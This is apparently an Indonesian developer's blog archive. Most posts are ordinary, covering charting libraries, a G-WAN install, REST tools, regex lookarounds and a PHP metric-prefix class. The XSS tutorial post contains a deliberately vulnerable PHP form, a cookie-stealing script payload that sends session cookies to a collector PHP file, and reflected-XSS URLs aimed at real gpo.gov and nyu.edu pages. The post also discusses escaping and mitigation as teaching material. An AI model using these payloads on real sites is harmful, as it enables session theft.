by ahmadfathihadi | Mar 16, 2013 | Code for Joy

Saya menghabiskan waktu yang cukup lama untuk menentukan Charting Library apa yang harus saya pakai pada project kali ini. Karena dalam menentukan sesuatu yang ingin kita pakai(dalam kasus kali ini yang dimaksud adalah Chart Library dan bukan yang lain) tentunya tidaklah mudah karena setiap orang memiliki selera yang berbeda-beda, serta kemampuan yang berbeda juga. Kemampuan yang saya maksud adalah Skill, Uang dan Waktu. Contohnya saja jika project yang sedang dikerjakan memiliki budget yang besar, maka saya tidak ambil pusing karena saya bisa membeli lisensi charting yang bagus(HighChart contohnya). Namun berbeda ketika budget yang dimiliki tidak banyak, maka kita harus mencari alternatif yang Free.
Posting kali ini bukan bertujuan untuk membahas Uang, atau bahkan tutorial membuat charting, tapi lebih kepada list charting yang bisa anda pilih. Baiklah langsung saja saya list semua Charting dan graphic library yang sudah saya temukan dan kumpulkan link-nya,
- D3.js merupakan Charting dan graphic library yang paling anyar saat ini, namun sangat tidak dianjurkan untuk pemula. Anda bisa lihat Contohnya disini.
- HighChart sangat mudah bagi pemula, namun sayangnya tidak gratis untuk project non-komersil. Jika anda punya budget lebih, silahkan gunakan ini.
- iChartJS made In China, tapi sangat menarik, bagus, dan Gratis. Saya merekomendasikan anda untuk menggunakannya.
- jqPlot simple namun tidak banyak opsi, tapi gratis.
- chartjs merupakan pendatang baru dengan total 6 chart yang sepertinya cukup menarik.
- JIT Mudah dan bagus.
- FusionCharts Bagus, berbayar, mahal, dan saya lebih pilih HighChart jika harus bayar
- dygraphs
- Protovis merupakan cikal bakal dari D3.js
- Dojo Charting cocok untuk pemula
- amcharts berbayar
- Flot Charts, mudah namun tidak begitu lengkap
- Google Chart Tools ide buruk menurut saya jika menggunakan ini
- dc.js dibuat diatas D3
- xcharts bagus dan dibuat diatas D3, namun sayangnya saat ini hanya tersedia Bar Chart dan sejenisnya.
- nvd3 dibangun diatas D3, dengan tujuan memberikan anda kemudahan karena beberapa chart sudah dibuat dan dapat digunakan ulang.
- rickshaw masih diatas D3, namun tidak lengkap
- Cubism.js hanya fokus terhadap Visualisasi Time Series(berdasarkan D3)
- kendoUI Berbayar(Mahal) dan tidak terlalu banyak chart yang disediakan
- jQuery Sparklines merupakan JQuery Plugin untuk membuat small inline charts
- peity sama seperti jQuery Sparklines
- Recline.js
- BonsaiJS merupakan graphic library dan sepertinya ingin menyaingi D3, namun pendekatannya lebih mudah dimengerti jika dibanding D3
- Flotr
- ProtoChart
- Flotr2 cukup menarik
- jQuery-Visualize
- xkcd
- JS Charts merupakan Chart Generator dan versi gratisnya terdapat watermark, jika anda bayar tentunya watermark-nya akan hilang
- PlotKit
- MilkChart dibuat berdasarkan MooTools
- moochart masih Beta
- moowheel
- Raphaël
- table2chart
- Canvas 3D Graph
- TufteGraph membutuhkan JQuery
- ArborJS
- TimePlot
- gRaphael
- ICO
- Elycharts Tampilannya cukup jadul dan tidak segar
- ZingChart berbayar namun cukup advance dan memiliki aplikasi khusus untuk membuat chart, tidak hanya itu, dapat di Export sebagai Flash!
- RGraph
- Bluff
- canvasXpress
- ccchart
- JSXGraph
- Smoothie Charts
- YUI Charts
- Emprise JavaScript Charts
- JavaScript Diagram Builder
- jGraph
- Envision
- Sencha Touch Charts sudah banyak dipakai dan dipercaya oleh banyak perusahaan, namun lisensinya cukup mahal
- Style Chart
- AwesomeChartJS
- Sigma.js Hanya fokus terhadap visualisasi graph(hubungan antar titik) coba tengok sejenak, sample yang diberikan cukup menarik.
- Graphene
- TeeChart berbayar
- GoJS
- Harry Plotter
- JPowered
- dHTMLx
- Timeline
Silahkan pilih sesuai selera, kebutuhan dan budget anda. Namun perlu diingat bahwa kompabilitas sangatlah penting, pastikan Chart atau graphic library yang anda pilih bisa berjalan mulus dan bagus pada IE 6!
Tolong jika ada yang terlewatkan, beritahu saya lewat kolom komentar dibawah.
by ahmadfathihadi | Jan 26, 2013 | Code for Joy, Security
XSS merupakan salah satu jenis serangan injeksi code (code injection attack). XSS dilakukan oleh penyerang dengan cara memasukkan kode HTML atau client script code lainnya ke suatu situs. Serangan ini akan seolah-olah datang dari situs tersebut. Akibat serangan ini antara lain penyerang dapat mem-bypass keamanan di sisi klien, mendapatkan informasi sensitif, atau menyimpan aplikasi berbahaya.
Penjelasan diatas saya ambil dari Wikipedia, jika anda masih bingung, maka hal yang terbaik adalah dengan memberikan contoh, silahkan copy code ini lalu jalankan.
<?php
session_start();
if(isset($_POST['submit']))
echo $_POST['comment'].'<br>';
?>
<form action="comment.php" method="post"><textarea name="comment"></textarea>
<input type="submit" name="submit" value="Submit" /></form>
Standard bukan ? Baiklah sekarang coba masukkan code berikut pada comment, lalu submit
<script type="text/javascript">javascript:alert('fathihadi.net');</script>
Anda akan melihat Alert atau PopUp bukan ?(*kecuali anda mematikan javascript pada browser). Pada code awal kita sama sekali tidak memunculkan Alert, melainkan Alert ini masuk melalui User Input. Nah inilah yang disebut XSS, yaitu serangan injeksi script. Bayangkan jika facebook memiliki celah XSS seperti ini, siapapun teman anda yang iseng memasukkan script aneh ada wall post-nya, maka anda akan terganggu setiap kali membuka facebook.
Tentunya tujuan hacker mencoba serangan XSS bukan untuk mengganggu alias iseng, tapi untuk tujuan lain, yaitu mencuri session dan hal lainnya. Lalu bagaimana contohnya dengan XSS, hacker bisa mencuri session ?
Sebagai bukti, silahkan persiapkan satu file php baru, yaitu ‘get_all.php’. Pada skenario kali ini, kita akan mencuri PHPSESSID dari user yang sedang login dan mengirimkannya ke server kita
<?php
$file = 'submitted.txt';
$current = file_get_contents($file);
$current .= json_encode($_GET);
file_put_contents($file, $current);
?>
Perlu diketahui bahwa kita akan mencoba semuanya secara local, saya hanya memberikan bukti secara konsep. Dan pada serangan yang sesungguhnya, file get_all.php ini tidak akan berada di localhost, melainkan di hosting sungguhan. Sekarang mari kita coba masukkan code XSS berikut:
<script type="text/javascript">document.write('<img src="http://local.dev:8080/test/get_all.php?w=' + document.cookie + '" style="display:none;">');</script>
Code xss diatas akan membuat sebuah script img yang tidak terlihat, lalu browser akan mengirimkan session cookie ke alamat http://local.dev:8080/test/get_all.php
Berikut contoh PHPSESSID yang terkirimkan,
{"w":"PHPSESSID=3emh390v9sbp23thi2se3onr67"}
Jenis Serangan
Terdapat dua jenis serangan XSS, Persistent dan Non-Persistent. Pada contoh diatas, merupakan jenis serangan Persistent, yaitu serangan yang berupa permanen, karena script xss disimpan kedalam database atau secondary storage, dan setiap korban yang membuka halaman yang sudah terinfeksi akan terkena dampaknya juga. Sedangkan pada serangan Non-Persistent membutuhkan aktifitas social oleh si penyerang kepada calon korban, dan bersifat sementara(tidak permanen), Contohnya saya temukan pada situs Printing Office pemerintahan US.
http://www.gpo.gov/gpo/sitesearch/homedosite.action;jsessionid=gJhsRDgT5D1nG53Pv22Q2DPPv5Z29yBnZcLLYhVyFybv1Nnt6R7F!-1342791787?st=%22%3E%3Cimg%20src=%22https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-ash4/2698_69277572409_2578789_n.jpg%22%3E
Dan
http://google.nyu.edu/search?site=NYUWeb_Main&client=NYUWeb_Main&output=xml_no_dtd&proxyreload=1&proxystylesheet=stern_frontend&sitesearch=www.stern.nyu.edu&q=%22%3E%3Cimg+src%3D%22https%3A%2F%2Ffbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-ash4/2698_69277572409_2578789_n.jpg%22%3E&x=8&y=6


Link diatas bisa dengan mudah saya pendekkan dengan menggunakan tinyurl service seperti bit.ly dan mengirimkannya kepada calon korban. Sekali lagi jangan bingung, karena contoh diatas hanya untuk pembuktian, dan Hacker bisa melakukan hal lain selain menaruh gambar.
Sekarang, bagaimana caranya kita mengetahui bahwa program yang kita tulis sudah benar-benar aman dari XSS ? Anda bisa mencobanya langsung dengan melakukan test satu persatu code XSS dari RSnake XSS cheatsheet dan HTML5 XSS cheatsheet.
Solusi
Jika anda terbiasa menggunakan htmlspecialchars(), maka sepertinya anda harus berfikir ulang, karena fungsi ‘htmlspecialchars’ tidaklah cukup untuk melakukan escaping. Menurut OWASP(Open Web Application Security Project), escaping untuk HTML seharusnya adalah sebagai berikut,
& --> &
< --> <
> --> >
" --> "
' --> ' ' tidak disarankan karena bukan merupakan bagian dari spesifikasi HTML (Lihat: section 24.4.1) ' merupakan bagian dari spesifikasi XML dan XHTML.
/ --> / forward slash juga harus diescape
Selain itu, tidak hanya HTML Entity saja yang harus diescape, melainkan HTML Attribute, URL, JavaScript, dan CSS Hex.
Jelas bahwa ‘htmlspecialchars’ saja tidak cukup. Saya akan membuat post lain yang khusus membahas Solusi XSS, mulai dari Escaping hingga Sanitizing.
Namun sebelum mengakhiri posting ini saya ingin menjelaskan mengenai XSS yang berada dalam File Gambar(jpg, png).
Image XSS
XSS Image yang saya maksud bukan berupa tag img pada html seperti,
<img alt="" src="javascript:alert('XSS');" />
Melainkan file Image seperti JPG, atau PNG. Anda mungkin bertanya, bagaimana mungkin file image bisa mengandung XSS?. Bisa!, anda bisa coba sendiri untuk membuka gambar apapun dengan Notepad atau HexEditor, lalu menghapus semuanya dan menggantikannya dengan XSS Code(atau ditambahkan diakhir).


Masalah ini sebenarnya hanya terjadi pada Internet Explorer versi 7 kebawah dan tidak dimiliki oleh Browser modern seperti Chrome dan Firefox, namun tetap kita harus menghindari masalah ini.
Berikut Tips untuk Image XSS :
- Jangan simpan gambar pada domain yang sama dengan web, misalnya jika aplikasi web anda adalah ‘fathihadi.net’, maka simpan semua gambar di subdomain atau domain lain, misalnya ‘images.fathihadi.net’. Hal ini untuk melindungi pencurian cookie. PERHATIAN : Tips ini tidak menyelesaikan masalah !
- Blok semua penggunaan Image. 😀 Tentunya tidak mungkin anda lakukan, jadi lupakan tips ini!
- Gunakan Fungsi Manipulasi Gambar sebelum menyimpan gambar. Misalnya mengubah ukuran atau mengkompres Gambar. Ini merupakan cara paling ampuh.
Memang merepotkan bukan ? ini semua disebabkan oleh IE yang terlalu pintar karena mengeksekusi kode html dan javascript yang berapa dalam Image.
Semoga dengan membaca post ini anda bisa mendapatkan banyak gambaran mengenai Web Application Security. Post selanjutnya akan saya bahas solusinya secara mendalam
by ahmadfathihadi | Jan 22, 2013 | Code for Joy, Server
Akhirnya setelah sekian lama saya menanti G-WAN untuk bisa mensuport PHP, dan sekarang sudah bisa(official). Menurut claim gwan, gwan sangatlah cepat dan ringan serta mengalahkan nginx dan varnish cache. Inilah yang membuat saya tertarik. Berhubung ada waktu luang, saya mencoba untuk menginstall G-WAN pada Debian(VM-Ware), dan cukup mudah ternyata.
Jangan lupa sebelum memulai, silahkan berdoa terlebih dahulu
- Install Debian terbaru.
*Tutorial ini tidak mengikutsertakan cara menginstall Debian, silahkan anda cari sendiri di Google.
- Download gwan dari http://gwan.com/download.
*Gunakan selalu 64bit jika OS yang anda gunakan adalah versi 64bit.
- Seteleh di download, silahkan extract di sebuah folder.
*Jika anda menggunakan terminal/console, silahkan ketik lalu enter command berikut :
su root
wget http://gwan.com/archives/gwan_linux64-bit.tar.bz2
tar -xjf gwan_linux64-bit.tar.bz2; cd gwan_linux64-bit
- Jika sudah, silahkan run saja dengan menjalankan file ‘gwan’
./gwan
- Jika anda menemukan error pada ‘kv_bench.c’, ini dikarenakan sqlite3 tidak terinstall atau tidak terinstall dengan baik. Jadi pastikan anda sudah menginstall sqlite3, namun jika ternyata sudah diinstall namun masih terdapat error, berarti anda harus menjalankan command berikut
ln /usr/lib/libsqlite3.so.0 /usr/lib/libsqlite3.so
- Silahkan jalankan kembali gwan
Perlu diingat bahwa document root berada pada folder ‘0.0.0.0_8080’

Next post saya akan membahas lebih lanjut g-wan
Maaf jika tutorial ini tidak lengkap dan terkesan asal-asalan 
by ahmadfathihadi | Jan 18, 2013 | Code for Joy
Jika anda sedang bermain-main dengan REST API, pasti anda membutuhkan sebuah applikasi untuk mencobanya. Saya sangat menyarankan untuk menggunakan extension/addons pada browser karena akan memudahkan anda untuk mengintip dokumentasi API tersebut, yang biasanya juga diakses menggunakan browser. Saya sudah mencoba berbagai extension/addons pada browser untuk tujuan REST API Testing, dan menemukan banyak bugs pada beberapa extension/addons. Sehingga saya ingin berbaik hati untuk sharing REST API extension/addons yang well tested.
Chrome

Rest Console
Firefox

Rest Client
Dua itu yang sudah saya test dan cukup baik dan stabil, yang lain banyak bugs dan tidak stabil.
Btw jika anda terbiasa dengan console, silahkan gunakan cURL
Happy Exploring 
by ahmadfathihadi | Dec 30, 2012 | Code for Joy
Lookbehind dan lookahead mungkin bukan kata yang asing, artinya mudah dimengerti, lihat kebelakang dan lihat kedepan
. Tapi dalam regex(REGular EXpression), lookbehind dan lookahead digunakan untuk mencocokkan suatu pola sebelum atau sesudah ekspresi utama diberikan. Sekali lagi perlu diingat, regex bukanlah simbol aneh seperti hieroglyph, jadi kalau anda ingin belajar atau memperdalam Regex, maka hapuslah anggapan ‘regex susah’ dari otak anda sebelum anda memulainya.
Lookbehind dan lookahead mempunyai nilai positif dan negatif.
Positive Lookbehind(?<=ABC) akan menyertakan hasil ekspresi/pola utama jika syarat pola yang diberikan sebelum ekspresi utama terpenuhi.
contoh : jika sebelum kata ‘fathi’ terdapat kata ‘ahmad’ maka pola ini cocok.
Negative lookbehind(?<!ABC) akan mengabaikan hasil ekspersi/pola utama jika syarat pola yang diberikan sebelum ekspresi utama terpenuhi.
contoh : jika sebelum kata ‘fathi’ terdapat kata ‘hadi’ maka pola ini tidak cocok.
Positive Lookahead(?=ABC) akan menyertakan hasil ekspresi/pola utama jika syarat pola yang diberikan sesudah ekspresi utama terpenuhi.
contoh : jika setelah kata ‘fathi’ terdapat kata ‘hadi’ maka pola ini cocok.
Negative Lookahead(?!ABC) akan mengabaikan hasil ekspersi/pola utama jika syarat pola yang diberikan setelah ekspresi utama terpenuhi.
contoh : jika setelah kata ‘fathi’ terdapat kata ‘hadi’ maka pola ini tidak cocok.
Nah saya akan beri contoh super mudah dalam Sintax Regex yang sesungguhnya.
Saya mempunyai Text seperti berikut :
Ahmad
Fathi
Hadi
Ahmad Fathi
Fathi Hadi
Ahmad Fathi Hadi
Jika saya ingin mencari kata ‘Fathi’ maka sintax Regexnya sangat simple, yaitu ‘Fathi’.
Lalu bagaimana jika saya ingin mencari kata ‘Fathi’ yang sebelumnya ada kata ‘Ahmad’ ? Untuk melakukannya, kita membutuhkan sintax lookbehind(positive) yaitu ‘(?<=Ahmad )Fathi’, maka baris 4 dan 6 lah yang cocok.
Jika kita ingin mencari kata ‘Fathi’ yang sebelumnya tidak ada kata ‘Ahmad’ maka kita membutuhkan sintax lookbehind(negative), yaitu ‘(?<!Ahmad )Fathi’, maka baris 2 dan 5 lah yang cocok.
Jika kita ingin mencari kata ‘Fathi’ yang sesudahnya ada kata ‘Hadi’, maka kita akan menggunakan lookahead(positive), yaitu ‘Fathi(?= Hadi)’, maka baris 5 dan 6 yang cocok.
Jika kita ingin mencari kata ‘Fathi’ yang sesudahnya tidak ada kata ‘Hadi’, maka kita akan menggunakan lookahead(negative), yaitu ‘Fathi(?! Hadi)’, maka baris 2 dan 4 yang cocok.
Selanjutnya anda juga bisa menggabungkan lookbehind dan lookahead, misalnya anda ingin mencari kata ‘Fathi’ yang sebelumnya ada kata ‘Ahmad’ dan sesudahnya terdapat kata ‘Hadi’. Sintaxnya adalah berikut ‘(?<=Ahmad )Fathi(?= Hadi)’, yang cocok adalah baris 6 karena lengkap.
Saya akan berikan contoh penerapan lookbehind dan lookahead pada aplikasi yang ingin mencari twitter username, polanya adalah @username. namun kita harus menggunakan bantuan lookbehind dan lookahead agar pola email tidak tertangkap(ahmad@fathihadi.net).
Saya sudah test untuk twitter @username berikut sintax regexnya(saya tidak mengcopy-nya dari manapun, melainkan murni berfikir dan mencobanya, dan mungkin polanya bisa salah untuk beberapa kemungkinan)
(?<=\s)@\w+(?!\S)
Semoga bermanfaat 🙂
* Jika anda tidak faham berarti saya yang tidak pintar dalam menulis, bukan karena anda yang kurang pintar.
* Tools untuk mencobanya secara online adalah link ini http://gskinner.com/RegExr/
by ahmadfathihadi | Nov 11, 2012 | Code for Joy
1K
10K
100.9M
etc…
Sering bukan melihat angka dengan format seperti diatas ?
Agar tidak salah, lebih baik anda melihat table dibawah ini,
Metric prefixes |
Prefix |
Symbol |
1000m |
Decimal |
Short scale |
Long scale |
yotta |
Y |
10008 |
1000000000000000000000000 |
septillion |
quadrillion |
zetta |
Z |
10007 |
1000000000000000000000 |
sextillion |
trilliard |
exa |
E |
10006 |
1000000000000000000 |
quintillion |
trillion |
peta |
P |
10005 |
1000000000000000 |
quadrillion |
billiard |
tera |
T |
10004 |
1000000000000 |
trillion |
billion |
giga |
G |
10003 |
1000000000 |
billion |
milliard |
mega |
M |
10002 |
1000000 |
million |
kilo |
k |
10001 |
1000 |
thousand |
hecto |
h |
10002/3 |
100 |
hundred |
deca |
da |
10001/3 |
10 |
ten |
|
10000 |
1 |
one |
deci |
d |
1000−1/3 |
0.1 |
tenth |
centi |
c |
1000−2/3 |
0.01 |
hundredth |
milli |
m |
1000−1 |
0.001 |
thousandth |
micro |
μ |
1000−2 |
0.000001 |
millionth |
nano |
n |
1000−3 |
0.000000001 |
billionth |
milliardth |
pico |
p |
1000−4 |
0.000000000001 |
trillionth |
billionth |
femto |
f |
1000−5 |
0.000000000000001 |
quadrillionth |
billiardth |
atto |
a |
1000−6 |
0.000000000000000001 |
quintillionth |
trillionth |
zepto |
z |
1000−7 |
0.000000000000000000001 |
sextillionth |
trilliardth |
yocto |
y |
1000−8 |
0.000000000000000000000001 |
septillionth |
quadrillionth |
|
Berikut ini PHP Class yang telah saya modifikasi sedikit dan tidak banyak dari link ini
class MetricPrefix {
public function decimalToSymbol($input)
{
$suffixes = array('', 'k', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y');
$suffixIndex = 0;
while(abs($input) >= 1000 && $suffixIndex < sizeof($suffixes))
{
$suffixIndex++;
$input /= 1000;
}
return (
$input > 0
? floor($input * 1000) / 1000
: ceil($input * 1000) / 1000
)
. $suffixes[$suffixIndex];
}
}
**Perlu diperhatikan bahwa class ini dimulai dari kilo(k) hingga yotta(Y)
cara menggunakannya
$metricPrefix = new MetricPrefix();
$metricPrefix->decimalToSymbol(1999990999999);
Semoga bermanfaat